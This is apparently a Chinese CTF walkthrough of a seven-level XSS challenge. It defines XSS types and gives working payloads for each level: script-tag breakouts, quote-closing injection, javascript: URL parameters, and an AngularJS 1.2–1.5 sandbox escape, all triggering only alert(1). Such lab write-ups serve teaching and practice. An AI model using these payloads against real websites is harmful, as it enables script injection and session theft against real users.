[第二章 web进阶]XSS闯关-1
定义:跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到包括但不限于更高的权限、会话和cookie等内容。
分类:
反射型:反射性XSS又称为非持久性XSS,主要通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户,诱导用户点击。
存储型性:存储型XSS又称为持久型XSS,主要是论坛、博客和留言板等地方,将恶意代码保留到服务端。
DOM型:DOM全称Document Objeect Model,DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。
1、第一关不存在什么过滤,直接输入弹窗payload:<sCript>alert(1)</sCript>,结果如下:
2、输入弹窗payload:<sCript>alert(1)</sCript>,并没有弹窗,应该是被过滤了,查看下源代码信息,发现escape()函数:不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换,因此这里只能自己构造闭合,payload:';alert(1);',结果如下:
3、这一关对'进行了转义,因此无法直接在原来的<script>标签中进行闭合,但是我们可以写一个新的<script>标签,payload:</sCript><sCript>alert(1)</sCript>,后来发现payload:'';alert(1);'也可以,应该是只对输入的进行转义了第一个’,结果如下:
4、直接查看源代码信息,发现可以传递一个jumpUrl参数,然后跳转到jumpUrl参数,代码信息如下:
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
getQueryVariable函数就是获取参数,返回传递的参数值,例如:jumpUrl=1,则返回的就是1,因此我么构造payload:?jumpUrl=javascript:alert('1'),然后等待刷新,成功到达下一关,结果如下:
5、直接查看源代码信息,如下:
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
根据代码信息可知我们需要传递autosubmit参数,使参数可以正常进行,传递action参数进行跳转,因此构造payload:?autosubmit=1&action=javascript:alert('1'),结果如下:
6、这一关和前面的不太一样,前面的基本都是形成闭合或简单的传递参数进行函数绕过,这里使用的是Angular 1.2-1.5之间版本(有说是1.4-1.5之间)沙箱逃漏洞,首先还是查看源代码信息,发现比前几关多了一个Angular信息,如下:
那就测试下看是不是xss模板注入漏洞,payload:{{2*2}},返回结果为4,证明存在xss模板注入漏洞,结果如下:
点击Angular连接查看是一堆代码,但是给出了版本号:
在网上查找下此版本的漏洞利用方式,payload:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}},结果如下:
7、进入第7关直接获得flag值,结果如下: